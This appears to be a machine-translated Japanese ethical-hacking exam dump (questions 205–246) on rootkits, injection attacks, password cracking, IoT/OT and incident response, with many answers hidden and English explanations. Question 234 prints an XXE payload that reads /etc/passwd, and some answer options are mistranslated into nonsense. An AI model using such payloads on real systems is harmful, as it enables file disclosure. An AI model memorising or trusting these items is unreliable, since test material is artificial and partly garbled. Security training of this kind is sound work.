XYZ社のサイバーセキュリティアナリストであるあなたは、システムログを調査中に、捉えどころのないルートキットの存在を示唆する様々な活動に気づきました。ルートキットは巧妙に潜伏するため、その検出と駆除はシステムセキュリティの維持とデータ侵害の防止に不可欠です。システムを評価した結果、ルートキットがオペレーティングシステムカーネルの奥深くに埋め込まれていることが判明しました。このような危機的な状況において、潜在的な被害を最小限に抑えつつ、ルートキットを効果的に修復するために、どのような戦略を採用すべきでしょうか？
A. 最終手段として、システム全体のフォーマットを実行し、信頼できるソースからオペレーティングシステムを再インストールしてください。
B. ルートキットの活動を停止させるために、システムをシャットダウンしてネットワークから切断するなど、抜本的なアプローチを直ちに採用してください。
C. 体系的で多層的な戦略を採用します。まず、専用のルートキット検出ツールを展開してルートキットの存在と種類を確認し、次に、特定されたルートキットに特化した適切な削除手順を実行します。
D. ネットワーク上で様々な高インタラクションのハニーポットを実行することで、攻撃者を誘い込み、その戦術を明らかにすることを目的とした、積極的な防御戦略を実行します。
正解: **(**正解を表示します**)**
Kernel-level rootkits require careful identification using specialized detection tools to determine their exact nature and persistence mechanisms, allowing a tailored and controlled removal process that preserves system integrity and minimizes collateral damage compared to indiscriminate actions.

質問: **205**
以下のMetasploitのポストエクスプロイトモジュールのうち、Windowsシステム上で権限昇格に使用できるものはどれですか？
A. getuid
B. 高速道路
C. キーログレコーダー
D. getsystem
正解: **D (**コメントを発表する**)**

質問: **206**
2025年7月25日、マサチューセッツ州ボストンにあるApex Technologies社で行われたセキュリティ評価において、倫理的ハッカーのソフィア・パテルは、同社のeコマースプラットフォームを標的とした模擬DDoS攻撃

に対する防御策を評価するため、侵入テストを実施した。この模擬攻撃は、複数のソースからプラットフォームに大量のトラフィックを送り込み、サーバーリソースを過負荷状態に陥らせようとするものだった。ITチームは、トラフィックを複数のサーバーに分散させ、悪意のあるリクエストをフィルタリングすることで攻撃を効果的に軽減する特定のツールを有効化しました。ソフィアのテストは、このツールがサービス可用性を維持する上でどれほど効果的かを検証することを目的としています。このシナリオにおいて、ITチームが利用している可能性が最も高いDoS/DDoS防御ツールはどれでしょうか？
A. Webアプリケーションファイアウォール(WAF)
B. ロードバランサー
C. 侵入防止システム(IPS)
D. ファイアウォール
正解: **B** (コメントを発表する)
The tool mitigates the attack by distributing incoming traffic across multiple servers, preventing any single system from being overwhelmed and maintaining availability. This behavior is characteristic of a load balancer, which spreads requests and can help absorb and manage high traffic volumes during DDoS conditions.

質問: **207**
防衛研究施設で行われたステルス侵入テスト中、倫理的ハッカーのダニエルは、複数のオペレーティングシステムの再インストール後も存続するペイロードをインストールした。このインプラントはシステムハードウェアの奥深くに潜んでおり、OSがロードされる前に実行されるため、OSレベルのフォレンジックスキャンやウイルス対策ツールでは検出も削除もできない。管理者はネットワークカードとストレージデバイスに異常なアクティビティがあることに気づいたが、繰り返しスキャンしてもファイルシステム内にマルウェアの痕跡は見つからなかった。このような永続性を実現できた可能性が最も高いルートキットの種類はどれか？
A. ハイパーバイザーレベルのルートキット
B. ハードウェア/ファームウェアルートキット
C. カーネルレベルのルートキット
D. ブートローダーレベルのルートキット
正解: **B** (コメントを発表する)
The implant resides in hardware or firmware, executes before the OS loads, and remains undetectable by standard OS-level scans. This behavior is characteristic of a hardware/firmware rootkit, providing extreme persistence and stealth.

質問: **208**
メリーランド州ボルチモアの医療施設で行われた侵入テストにおいて、倫理的ハッカーが、攻撃者がICMPベースの手法を用いてアクティブなホストと開いているポートをマッピングする方法を実演しました。組織の脆弱性を軽減するため、セキュリティチームは、エラーメッセージの返送を防ぐことでICMP検出トラフィックを妨害する対策を実施することにしました。彼らはどのような行動をとるべきでしょうか？
A. カスタムルールセットを使用してネットワークをロックダウンし、ファイアウォールで不要なポートをブロックし、特定のポートをフィルタリングします。
B. ファイアウォールとIDSルールを設定してプローブを検出しブロックする

C. ポート上で実行されている不要なサービスをブロックし、サービスのバージョンを更新します。
D. 受信ICMPメッセージタイプとすべての送信ICMPタイプ3到達不能メッセージをブロックします
正解: **D (**コメントを発表する**)**
Preventing reconnaissance using ICMP involves blocking inbound ICMP messages and controlling outbound ICMP Type 3 (destination unreachable) messages, which stops attackers from mapping hosts and ports via ICMP probes.

質問: **209**
侵入テストを実行することで、ユーザーアカウントでアクセス権を取得しました。テスト中、SMBサービスを介して自分のマシンと接続し、ログイン名とパスワードを平文で入力することがありました。パスワードを消去するには、どのファイルをクリーンアップする必要がありますか？
A. .bashrc
B. .profile
C. .xsession-log
D. .bash_history
正解: **(**正解を表示します**)**

質問: **210**
SOAP ベースの Web サービスを使用するクラウド ホスト型アプリケーションのセキュリティ評価中に、レッドチームのオペレーターがユーザーから送信された正当な SOAP リクエストを傍受します。オペレーターはメッセージ本文とそのデジタル署名を複製し、複製したメッセージを同じ SOAP エンベロープに挿入してサーバーに転送します。メッセージ構造の検証が不適切だったため、サーバーは複製された本文を正当なものとして受け入れ、処理してしまい、結果として不正なコード実行が発生します。この動作は、サーバーが署名付き SOAP メッセージを処理する方法に脆弱性があることを示しています。このシナリオはどのような種類の攻撃を示していますか？
A. 包囲攻撃
B. 暗号解読攻撃
C. IMDSの悪用
D. クラウドスヌーパー攻撃
正解: **(**正解を表示します**)**
This is a SOAP wrapping attack, where an attacker duplicates or rearranges signed SOAP message elements within the same envelope to trick the server into processing a malicious payload while still validating the original digital signature.

質問: **211**
IoT Defendのサイバーセキュリティアナリストとして、あなたは運用技術(OT)環境で産業制御システム(ICS)を使用している大手公益事業会社と協力しています。同社は最近、遠隔監視と制御を可能にするためにIoTデバイスをこの環境に統合しました。彼らは、これらのデバイスがセキュリティ体制の弱点とならないようにしたいと考えています。

IoTデバイスの潜在的な脆弱性を特定するために、最初のステップとして推奨すべき行動は次のうちどれですか？
A. 各IoTデバイスに最新のウイルス対策ソフトウェアをインストールしてください。
B. IoTデバイス間のデータ送信には、より強力な暗号化アルゴリズムを使用してください。
C. IoTデバイスをネットワークの残りの部分から分離するために、ネットワークセグメンテーションを実装します。
D. IoTデバイスに特化した脆弱性評価を実施する。
正解: **(**正解を表示します**)**

質問: **212**
ウェブアプリケーションのテスト中に、侵入テスト担当者が、サーバーがXMLドキュメントを解析し、外部エンティティ宣言を許可していることを発見しました。適切な保護対策が講じられていない場合、どのような攻撃によって機密性の高いローカルファイルが漏洩する可能性があるでしょうか？
A. クロスサイトスクリプティング
B. XML外部エンティティ(XXE)
C. セッション固定
D. HTTPパラメータ汚染
正解: **(**正解を表示します**)**
XML External Entity (XXE) attacks exploit XML parsers that process external entities. If external entity resolution is enabled, attackers may access local files, perform server-side requests, or consume system resources. Disabling external entity processing and using secure parser configurations effectively mitigates this vulnerability.

質問: **213**
セキュリティアナリストとして、あなたは自社ネットワークの潜在的な脆弱性をテストしています。調査中に、攻撃者がMACフラッディングを使用してスイッチを侵害し、ネットワークトラフィックを傍受している可能性があると疑いました。次のうち、あなたの疑いを最も裏付ける可能性が高い指標はどれですか？
A. 単一のIPアドレスに複数のMACアドレスが割り当てられている状態。
B. 単一のMACアドレスに複数のIPアドレスが割り当てられている状態。
C. ネットワークトラフィックにおけるARPリクエスト数の増加。
D. 1 つのスイッチ ポートに対応する多数の MAC アドレス。
正解: **(**正解を表示します**)**

MAC flooding overwhelms a switch's CAM table by sending frames with many different source MAC addresses from a single port, causing the switch to associate numerous MAC addresses with that port and potentially revert to broadcast behavior, enabling traffic sniffing.

質問: **214**
あなたはワシントン州シアトルのHarborHealthでフォレンジック対応を担当するアレックスです。インシデント対応中に、ユーザーマシンを再起動したりドメイン認証を中断したりすることなく、エンタープライズWindowsサーバーのシステムパーティションと接続されたデータボリュームを保護する必要があります。ITチームは、Windowsプラットフォームの機能(ハードウェアによるスタートアップ保護やActive Directory/管理ポリシーによる集中型キーエスクローなど)と統合し、OSボリュームに対して透過的なフルディスク保護を提供するソリューションを希望しています。どのディスク暗号化ソリューションを導入すべきでしょうか？
A. ファイルボールト
B. VeraCrypt
C. BitLockerドライブ暗号化
D. Rohosディスク暗号化
正解: **(**正解を表示します**)**
BitLocker integrates with Windows features such as hardware-backed TPM protection, Active Directory key escrow, and provides transparent full-disk encryption for system and data volumes without requiring machine reboot, making it suitable for enterprise environments.

質問: **215**
ATT & CK戦術の 粘り強さ」とはどういう意味ですか？
A. 初期攻撃
B. データ盗難
C. クリーンアップ
D. 長期アクセス
正解: **(**正解を表示します**)**
In MITRE ATT&CK, the Persistence tactic refers to techniques attackers use to maintain long- term access to a compromised system, even after reboots, credential changes, or interruptions.

質問: **216**
ボストンで行われた重要なサイバーセキュリティ演習で、倫理的ハッカーのエミリーは、医療機関のスタッフに送信された模擬フィッシングメールの追跡を任されました。メールヘッダーを使用して、彼女は複数のタイムスタンプやサーバー名を含む一連のIPアドレスとサーバーの詳細を特定しました。彼女の目的は、送信者のシステムによってメールが処理された正確な時刻を特定することです。偵察の一環として、エミリーはこの情報を特定するために、メールヘッダーのどの詳細を具体的に調べるべきでしょうか？
A. メッセージ送信日時
B. 送信者のメールサーバー
C. 送信者のメールサーバーで受信された日時
D. 送信者のメールサーバーが使用する認証システム

正解: **(**正解を表示します**)**
Email headers contain multiple "Received" fields that record the timestamps as the message passes through each mail server. The earliest of these entries indicates when the email was first processed by the sender's originating mail server, allowing identification of the exact sending time.

質問: **217**
ボブは最近、大規模なサイバーセキュリティ侵害に見舞われた医療会社に採用された。
多くの患者が、自分の個人医療記録がインターネット上に完全に公開されており、簡単なGoogle検索で誰でも見つけられると訴えています。ボブの上司は、これらのデータを保護する規制があるため、非常に心配しています。次のうち、最も違反されている規制はどれですか？
A. ISO 2002
B. PCI DSS
C. 内訳
D. HIPAA/PHI
正解: **(**正解を表示します**)**

質問: **218**
旧式システムの暗号監査中に、セキュリティアナリストは、大量の平文と暗号文のペアを分析する際に、旧式のブロック暗号が鍵関連情報を漏洩させていることを発見した。攻撃者はどのような手法でこれを悪用する可能性があるか？
A. パディングを変更して平文を取得する
B. 線形近似を用いて秘密ビットを推測する
C. IV複製によるキーリプレイの発動
D. ハッシュアルゴリズムの衝突を攻撃する
正解: **B (**コメントを発表する**)**
Linear cryptanalysis exploits statistical linear relationships between plaintext, ciphertext, and key bits in outdated block ciphers. By analyzing many plaintext-ciphertext pairs, an attacker can infer information about the secret key.

質問: **219**
あなたは、ある地域の製造会社のネットワークデバイスのセキュリティ体制を評価するために雇われたペネトレーションテスターです。評価中に、コアルーターの1つがパスワードなしで外部からの管理アクセスを許可していることを発見しました。さらに、そのルーターは暗号化や検証を提供しないプロトコルを使用して他のデバイスと通信していました。これらの観察結果のみに基づくと、以下のネットワークデバイスの脆弱性のうち、最も明確に存在するものはどれですか？
A. ファイアウォールの脆弱性
B. 安全でないルーティングプロトコル
C. パスワード保護の欠如
D. 認証不足
正解: **(**正解を表示します**)**

The router explicitly allows administrative access without requiring a password, which directly indicates missing password protection. This is a clear and specific vulnerability that exposes the device to unauthorized access.

質問: **220**
ボブは顧客のパスワード評価を行っている。ボブは、セキュリティポリシーが適切に整備されていないのではないかと疑っている。
ボブは、評価対象の企業全体で脆弱なパスワードが一般的に使われているのではないかと疑っている。ボブはパスワードの脆弱性やキーロガーについてよく知っている。ボブが顧客のホストやサーバーからパスワードを取得するために採用できる手段として、次のうちどれが最も適切だろうか？
A. ソフトウェアのみが最も効果的です。
B. ハードウェアおよびソフトウェアのキーロガー。
C. パスワードはハードウェアキーロガーを使用して取得するのが常に最善です。
D. ハードウェア、ソフトウェア、およびスニッフィング。
正解: **(**正解を表示します**)**
Passwords can be captured through multiple methods including hardware keyloggers, software keyloggers, and network sniffing techniques. Using all three provides broader coverage for retrieving credentials during a password assessment.

質問: **221**
セキュリティ監査の一環として、貴社のチームは自動スキャナーによって警告が検出されたシステムを評価します。
このツールは、9.8という数値範囲を持つベクトル文字列を出力します。これは、重大な問題であることを示しています。
しかし、クライアントはこのスコアが現実世界でどのような意味を持つのか確信が持てずにいます。あなたは、このスコアが何を意味するのか、そしてどのように算出されたのかを説明する任務を負っています。改善策の優先順位付けにおいて、この種の評価の目的と利点を最も適切に説明しているのは、次のうちどれでしょうか？
A. 行動に基づいて公開されているエクスプロイト分類をサポートする定性的な基準を提供します。
B. ライブメモリダンプから一致するエクスプロイトペイロードを生成することで、攻撃の再現を簡素化します。
C. 技術的な影響と悪用しやすさを定量化し、影響と環境に基づいた構造化されたリスク対応を導きます。
D. バイナリプロトコルの認証エラーを測定し、パッチ適用をサービス構成に合わせます。
正解: **C (**コメントを発表する**)**
The score quantifies the severity of a vulnerability by combining its technical impact and ease of exploitation, enabling organizations to prioritize remediation efforts based on risk, context, and potential business impact rather than relying on subjective judgment.

質問: **222**

サイバーセキュリティの専門家であるエブリン・リード博士は、「グローバル・イノベーションズ社」における一連の異常な活動の調査に招聘されました。最初の危険信号は、緊急の社内メモを装った、経営幹部を狙ったスピアフィッシングメールの急増でした。その後まもなく、同社のウェブサーバーで、見慣れないIPアドレスへの予期せぬ送信トラフィックが確認されました。ネットワーク監査の結果、使用率の低い複数のプリンターとルーターに不正なファームウェアがインストールされていることが判明しました。さらに調査を進めると、研究開発部門に関連するファイルアクセスログに不整合が見つかり、業務時間外に異常に大規模なデータ転送が発生していました。リード博士はまた、攻撃者が組織の内部データ構造を熟知している可能性もあると指摘しました。
これらのインシデントの組み合わせを考慮すると、Global Innovations Inc. が高度な持続的脅威 (APT) ライフサイクルのどの段階を経験している可能性が最も高いでしょうか?
A. 初期侵入
B. 拡張
C. 検索と抽出
D. 永続性
正解: **(**正解を表示します**)**
The presence of large data transfers during non-business hours, unusual outbound traffic, and access to sensitive R&D data indicates that attackers are actively collecting and extracting valuable information. This aligns with the search and exfiltration phase, where attackers identify, gather, and transfer targeted data out of the organization.

質問: **223**
検出速度を最も適切に測定できる指標はどれですか？
A. MTTD
B. SLA
C. CVSS
D. MTTR
正解: **(**正解を表示します**)**
MTTD (Mean Time to Detect) measures how quickly an organization identifies security incidents after they occur, making it the primary metric for detection speed.

質問: **224**
あなたは会社のITチームの新メンバーで、会社のサイバーセキュリティ体制を強化するために、倫理的ハッキングの原則を理解し、実践するよう指示されました。上司は、倫理的ハッキングの5つのフェーズに従うことの重要性を強調しています。これらのフェーズの正しい順序は何ですか？
A. 偵察、スキャン、アクセス権の獲得、アクセス権の維持、痕跡の隠蔽
B. アクセスの獲得、アクセスの維持、痕跡の隠蔽、偵察、スキャン
C. アクセス維持、痕跡隠蔽、偵察、スキャン、アクセス確保
D. スキャン、偵察、アクセス確保、痕跡隠蔽、アクセス維持
正解: **(**正解を表示します**)**

The ethical hacking process begins with reconnaissance to gather information, followed by scanning to identify vulnerabilities, then gaining access to exploit those weaknesses, maintaining access to assess persistence, and finally covering tracks to understand how attackers conceal their activities.

質問: **225**
ヘンリーは、BlackEye - Cyber Security Solutions社に雇われたサイバーセキュリティ専門家です。彼はホストのオペレーティングシステム(OS)を特定する任務を負っていました。彼はUnicornscanツールを使用してターゲットシステムのOSを特定しました。その結果、ターゲットシステムがWindows OSを実行していることを示すTTL値を取得しました。ターゲットOSがWindowsであることを示す、ヘンリーが取得したTTL値を特定してください。
A. 64
B. 138
C. 255
D. 128
正解: **(**正解を表示します**)**

質問: **226**
テキサス州ダラスにある物流会社のクラウドセキュリティスペシャリスト、アレックスは、リアルタイムの出荷追跡用コンテナ化されたWebアプリケーションをデプロイするためのクラウドインフラストラクチャを設計しています。ノードが1つ故障してもアプリケーションへのアクセスが維持され、ダウンタイムを最小限に抑えるため、アレックスは複数のノードをグループとして運用することを計画しています。これにより、1つのノードがダウンしても、クラスタ内の別のノードが自動的にワークロードの処理を継続できます。この構成では、異なるゾーンのノードにコンテナインスタンスを分散させることで、クラウドクラスタリングを活用し、拡張性を向上させます。アレックスは、クラウド環境でこれらの機能を実現するために、どのタイプのクラスタコンピューティングを実装すべきでしょうか？
A. 負荷分散
B. リソースプーリング
C. 高可用性(HA)またはフェイルオーバー
D. 高性能コンピューティング
正解: **(**正解を表示します**)**
The requirement focuses on ensuring service continuity when a node fails by automatically shifting workload to another node with minimal downtime. This behavior is characteristic of a high availability or failover cluster, designed to maintain service availability despite node failures.

質問: **227**
サウスカロライナ州チャールストンにある海運物流会社で実施された正式なセキュリティ評価の一環として、倫理的ハッカーが、組織が連携したエンドポイント侵害に対してどの程度耐性を持っているかを評価した。
従業員は、通常の業務アップデートを装った巧妙に作成されたメール添付ファイルを受け取った。複数のシステムで実行された後、監視ツールによって、感染したマシンが定期的にテスターが制御する外部ホストに接続していたことが明らかになった。
時間が経つにつれ、侵害されたシステムは中央制御サーバーからコマンドを受信するようになり、指示に応じて、ユーザーによる直接的な操作なしに、指定されたターゲットに向けて協調的なネットワークトラフィックを生成するようになった。
マルウェアの分類という観点から、このシナリオではどのコンポーネントがシミュレートされているのでしょうか？
A. スパイウェア
B. スケアウェア
C. 潜在的に不要なアプリケーション(PUA)
D. ボットネットエージェント
正解: **(**正解を表示します**)**
The scenario describes compromised systems connecting to a centralized control server and executing coordinated commands, including generating synchronized network traffic toward targets. This behavior is characteristic of botnet agents, where infected machines operate under command-and-control infrastructure to perform distributed actions as part of a coordinated network.

質問: **228**
セキュリティアナリストは、Zenmapを使用してICMPタイムスタンプpingスキャンを実行し、ターゲットホストマシンから現在時刻に関する情報を取得します。ICMPタイムスタンプpingスキャンを実行するために、アナリストは次のZenmapオプションのうちどれを使用する必要がありますか？
A. -PP
B. -Pn
C. -PY
D. -PU
正解: **(**正解を表示します**)**

質問: **229**
どの攻撃が脆弱な暗号スイートを悪用するのか？
A. DoS
B. なりすまし
C. ダウングレード
D. リプレイ

正解: **C** (コメントを発表する)
A downgrade attack forces a system or connection to use weaker or outdated cipher suites and security protocols, allowing attackers to exploit reduced encryption strength or known vulnerabilities.

質問: **230**
サイバーセキュリティアナリストは、ブロック暗号に対する攻撃試行において、多数の平文と暗号文のペアが使用されたことに気づいた。攻撃者は、特定の平文と暗号文のビットのXOR組み合わせに対して統計分析を適用した。攻撃者はどのような手法を用いている可能性が高いか？
A. 暗号化出力におけるグループ化された入力の差異の分析
B. 考えられるすべてのキーの組み合わせを試す
C. 暗号動作から線形パターンを導出する
D. 暗号化中の物理的な情報漏洩を悪用する
正解: (正解を表示します)
The attacker is applying linear cryptanalysis, which uses statistical analysis of XOR relationships between plaintext, ciphertext, and key bits to identify linear approximations of the cipher and recover key information.

質問: **231**
あなたはRedOak Cyber Solutionsの倫理的ハッカーで、オハイオ州クリーブランドのMetroHealth Hospitalの侵入テストを請け負っています。病院の予約ポータルを評価する際、患者検索フィールドに複数の悪意のある入力を作成して送信します。そのうちの1つのペイロードがバックエンドのクエリを正常に操作し、本来表示されるはずのない追加の予約データを返します。この動作に基づいて、SQLインジェクション手法のどのステップを実行していると言えますか？
A. SQLインジェクション攻撃の実行
B. データベース列挙
C. 情報収集と脆弱性検出
D. データ入力経路の特定
正解: (正解を表示します)
By submitting crafted inputs that directly manipulate the backend query and retrieve unintended data, you are actively launching SQL injection attacks to exploit the vulnerability.

質問: **232**
マイアミにある仮想通貨取引所で、調査員のジェイクは、攻撃者が公開されたAPIキーを悪用して不正なクラウドコマンドを発行し、クラウド環境内でのリソースの乱用と横方向の移動を引き起こしていたことを突き止めた。この事件で最も直接的に示されているクラウドハッキングの手法はどれか？
A. クリプトジャッキング
B. S3バケットの列挙
C. 秘密を暴露する
D. ラッピングアタック
正解: (正解を表示します)

The attackers leveraged exposed API keys, which are sensitive secrets, to gain unauthorized access and execute commands in the cloud. This demonstrates compromising secrets, where confidential credentials are exploited to manipulate cloud resources.

質問: **233**
カリフォルニア州サンノゼにある多国籍製造企業は、社内生産ネットワークを保護するために境界ファイアウォールを導入した。レッドチーム演習中、テスターは、このデバイスがアクティブなTCP通信を監視し、パケットが認識済みの、以前に確立された接続に対応する場合にのみトラフィックの継続を許可することを確認した。
ファイアウォールは、ネットワーク境界でインライン動作しながら、進行中の通信全体にわたって複数のヘッダー属性を評価します。
ファイアウォールのアーキテクチャの観点から、この境界ではどのようなタイプのファイアウォールが最も使用されている可能性が高いでしょうか？
A. ステートフルマルチレイヤーインスペクションファイアウォール
B. 回路レベルゲートウェイファイアウォール
C. アプリケーションレベルファイアウォール
D. パケットフィルタリングファイアウォール
正解: **A (**コメントを発表する**)**
The firewall is tracking active TCP sessions and validating packets against existing connection state information while operating inline. This behavior corresponds to a stateful multilayer inspection firewall, which maintains session state tables and evaluates multiple protocol layers to determine whether traffic belongs to a legitimate established connection.

質問: **234**
攻撃者が以下の入力を送信した場合、どのWeb脆弱性を悪用しようとしていると考えられますか？

```
<!DOCTYPE blah [ < !ENTITY trustme SYSTEM "file:///etc/passwd" > ] >
```

A. XXS
B. IDOR
C. SQLインジェクション
D. XXE
正解: **D (**コメントを発表する**)**

質問: **235**
イーサンは、ノースカロライナ州ローリーにあるサイバーセキュリティコンサルティング会社、サイバーガード・ソリューションズで侵入テスト担当者として働いている。ある地方保険会社のセキュリティ評価を正式に依頼された際、イーサンは従業員が作成した認証情報の強度を評価するために、一連のパスワードハッシュを提供された。

単語ベースのパスワード作成パターンに対する耐性をテストするため、イーサンは一般的な組織用語や部署名を含む独自の単語リストをクラッキングツールに入力した。ツールは、そのリスト内の複数のエントリをさまざまな組み合わせでリンクさせることでパスワード候補を自動的に生成し、ハッシュ値との照合を試みた。この手法は、よく知られた単語を連結して作られたパスワードに対して非常に効果的であることが証明された。
イーサンは、次のうちどのパスワード解析手法を使用していますか？
A. プリンスアタック
B. コンビネーターアタック
C. マルコフ連鎖攻撃
D. 指紋攻撃
正解: **B** (コメントを発表する)
The scenario describes generating password candidates by combining multiple words from a single wordlist into different permutations. This behavior matches a combinator attack, where entries from a wordlist are systematically concatenated to form new candidate passwords for cracking.

質問: **236**
高度な持続的脅威(APT)シナリオでは、攻撃者はサイバーキルチェーンにおける詳細な手順に従います。ある事例では、攻撃者は企業ネットワークへのアクセスに成功し、現在、正当なネットワークトラフィックの中に悪意のあるトラフィックを紛れ込ませようとしています。攻撃者の現在の手順の中で、最も可能性の高い行動は次のうちどれでしょうか？
A. データステージング技術を用いて機密データを収集 集約する。
B. 侵害されたシステムと通信するためのコマンド＆コントロールサーバーを構築する。
C. PowerShellスクリプトを使用して内部偵察を実施する。
D. コマンドおよびコントロールサーバーと通信するためにDNSトンネルを開始します。
正解: **D** (コメントを発表する)

質問: **237**
大手多国籍企業のサイバーセキュリティアナリストであるあなたは、情報漏洩を示唆する証拠を発見しました。分析の結果、高度なステガノグラフィー技術が用いられており、ハッカーは巧妙に画像をファイルに埋め込むことでデータを抜き取っていることが判明しました。ステガノグラフィーの欺瞞的な性質とその潜在的な影響を鑑みて、この隠れた脅威を検知し、阻止するために最も効果的な対策はどれでしょうか？
A. サーバーからのすべての送信ネットワークトラフィックを傍受する堅牢なファイアウォールを実装し、あらゆるデータ漏洩の試みを阻止することを目指します。
B. 不正なサーバー活動を特定し、無力化することを目的とした侵入防止システム(IPS)を導入する。
C. 特殊なステガノ解析ツールを使用して疑わしいファイルを精査し、隠蔽されたデータを解読して、ハッカーのデータ流出手法を明らかにします。
D. ネットワークトラフィックアナライザーを活用し、送信トラフィックの微妙な変化を注意深く監視して、データ漏洩を示唆する異常がないか確認します。
正解: (正解を表示します)

Steganalysis tools are specifically designed to detect hidden data within media files by analyzing anomalies in file structure and content, making them the most effective means to uncover and counter data exfiltration conducted through steganography.

質問: **238**
カリフォルニア州サンディエゴにあるスマート小売店で、倫理的ハッカーのソフィア・ベネットは、クラウドダッシュボードと同期するIoTベースの在庫センサーを評価しました。彼女は、機密性の高い業務記録が暗号化されずにネットワーク経由で送信され、プロバイダーのクラウドプラットフォーム上に検索可能な形式で保存されていることを発見しました。この発見で最も直接的に示されているIoT攻撃対象領域はどれでしょうか？
A. 安全性の低いデータ転送と保存
B. 安全でないエコシステムインターフェース
C. 安全でないネットワークサービス
D. 安全でないデフォルト設定
正解: **(**正解を表示します**)**
Sending sensitive data unencrypted across the network and storing it in a retrievable format on the cloud demonstrates risks associated with insecure data transfer and storage, directly exposing information to potential interception or compromise.

質問: **239**
ジョンはマリーに機密情報を含むメールを送りたいのですが、接続しているネットワークを信用していません。マリーはPGPを使うことを提案しました。ジョンはこの暗号化方式を使って正しく通信するにはどうすればよいでしょうか？
A. マリーの秘密鍵を使ってメッセージを暗号化します。
B. マリーの公開鍵を使用してメッセージを暗号化します。
C. 彼自身の秘密鍵を使ってメッセージを暗号化する。
D. 彼自身の公開鍵を使用してメッセージを暗号化します。
正解: **B (**コメントを発表する**)**

質問: **240**
侵入テスト担当者は、機密性の高いユーザーデータを保存するAndroidモバイルアプリケーションのセキュリティを評価する任務を負っています。テスト担当者は、アプリケーションが保存データの保護に適切な暗号化を使用していないことを発見しました。この脆弱性を悪用する最も効果的な方法は何でしょうか？
A. ローカルストレージにアクセスして、デバイスから直接機密データを取得します。
B. SQLインジェクションを使用してバックエンドサーバーから機密データを取得する
C. アプリケーションのログイン認証情報に対して総当たり攻撃を実行する
D. クロスサイトスクリプティング(XSS)攻撃を実行してセッションクッキーを盗む
正解: **A (**コメントを発表する**)**
When sensitive data at rest is not properly encrypted, an attacker who gains access to the device or its storage can directly read and extract the stored data from local storage without needing to bypass authentication or attack the backend.

質問: **241**
侵入テスト担当者は、ファイル名の拡張子に基づいて画像ファイルのみを受け付けるアップロード機能を発見した。Webサーバーは、アップロードされたファイルを一般公開されているディレクトリに保存する。
どの弱点が最も大きなセキュリティ上の懸念を引き起こすか？
A. 画像が過剰なディスク容量を消費します。
B. クライアント側の拡張機能検証を回避できます。
C. ファイルのタイムスタンプからサーバーの時刻がわかる場合があります。
D. アップロードディレクトリでは画像のキャッシュが可能です。
正解: **B** (コメントを発表する)
Validating file types solely by filename extension is insufficient because attackers can often rename malicious files or manipulate requests. Proper validation should include server-side content inspection, MIME verification, storage outside the web root when appropriate, and execution restrictions. Client-side validation alone provides little security.

質問: **242**
サイバーセキュリティアナリストとして、あなたは自社ネットワークのトラフィックパターンを分析する任務を与えられました。分析の結果、潜在的なスキャン攻撃を示唆する異常がいくつか見つかりました。攻撃者は非常に巧妙で、ゆっくりと綿密に活動しているため、検出や追跡が困難です。このような巧妙な手口を考慮すると、攻撃者が使用している可能性のあるスキャン手法として、次のうちどれが最も適切でしょうか？
A. 攻撃者はFINパケットを送信し、ターゲットシステムがポートの状態に応じてこれらのパケットに異なる応答をすると想定しています。
B. 攻撃者はシステム上のすべてのポートと直接TCP接続を確立して開いているポートを特定しますが、即座に検出されるリスクがあります。
C. 攻撃者はすべてのフラグを設定したパケットを送信し、閉じているポートが開いているポートとは異なる応答をすることを期待しています。
D. 攻撃者は「ゾンビ」マシンを使用してスキャンを送信しているため、スキャンの真の発信元を特定することが困難です。
正解: **D** (コメントを発表する)
This describes an idle (zombie) scan, where the attacker uses a third-party system to probe the target indirectly, allowing port states to be inferred while concealing the attacker's true source and making the scan extremely stealthy and difficult to trace.

質問: **243**
テキサス州オースティンの活気あるスタートアップシーンで、倫理的ハッカーのダニエル・ルイスはTechNexusに採用される。
U.米国に拠点を置く物流ソフトウェアプロバイダーの社内管理ポータルを評価するため、ダニエルはテストを実施しました。テスト中、ダニエルは特定の入力フィールドがユーザー入力データを基盤となるシステム機能に直接転送していることに気づきます。彼は入力内容を巧妙に操作することで、予期しないシステムコマンドの実行を誘発し、結果としてオペレーティング環境を不正に制御することに成功しました。彼の調査結果から、この欠陥はシステムレベルの機能によって処理される入力の検証が不十分であることに起因することが明らかになりました。
A. クロスサイトスクリプティング(XSS)
B. LDAPインジェクション
C. SQLインジェクション
D. シェル射出
正解: **(**正解を表示します**)**
User-supplied input is executed as system-level commands due to inadequate validation, allowing unauthorized control of the operating environment. This behavior is characteristic of shell injection attacks.

質問: **244**
コロラド州デンバーにある金融会社のスマート本社への侵入テストの一環として、倫理ハッカーのジョーダン・リーは、照明、空調設備、バッジ制御によるアクセスを担うIoTインフラの評価を開始しました。ジョーダンは、デバイスのモデル、メーカー名、ファームウェアバージョン、ZigbeeやBLEなどのサポートプロトコルなどの詳細を記録します。この情報は、デバイスのエコシステムを理解するために活用されます。
このフェーズでは、IoT ハッキング手法のどのステップが実行されていますか?
A. 情報収集
B. 攻撃を開始する
C. 脆弱性スキャン
D. リモートアクセスを取得する
正解: **(**正解を表示します**)**
The activity involves collecting details about devices, firmware, and protocols to understand the environment before attempting exploitation. This aligns with the information gathering phase, where reconnaissance is performed to map the target ecosystem.

質問: **245**
デンバーにあるブライトパス・コンサルティング社で行われたソーシャルエンジニアリングのシミュレーションで、倫理的ハッカーのリアムは、会社のセキュリティチームから送られたように見えるメッセージを従業員にメールで送りました。そのメールには、従業員が提供されたリンクからパッチをダウンロードしない限り、「24時間以内にすべてのシステムがシャットダウンする」という緊急の警告が書かれていました。このメッセージは意図的に偽造されたもので、実際のマルウェアは含まれていませんでしたが、混乱を招き、数人の従業員

がIT部門に問い合わせる事態となりました。リアムはどのようなソーシャルエンジニアリングの手法を実演しているのでしょうか？
A. 言い訳
B. 餌付け
C. デマ
D. スパム
正解: **(**正解を表示します**)**
Sending a false alert that causes fear or confusion without delivering malware or malicious payloads constitutes a hoax, which manipulates recipients into reacting unnecessarily.

質問: **246**
アリゾナ州フェニックスの配電施設で、倫理的ハッカーのサミール・ダスがOTセキュリティ評価を実施している。彼は、プログラマブルコントローラが、ネットワーク経由で送信された変更を、送信元や暗号化の有効性を確認することなく受け入れることを実証した。変更された命令をアップロードすることで、コントローラが動作中にコマンドを処理する方法を変更した。この手法を最もよく表すIoT/OTの脅威はどれか？
A. バックドアを使用したリモートアクセス
B. ファームウェアアップデート攻撃
C. エクスプロイトキット
D. 偽造された悪意のあるデバイス
正解: **(**正解を表示します**)**
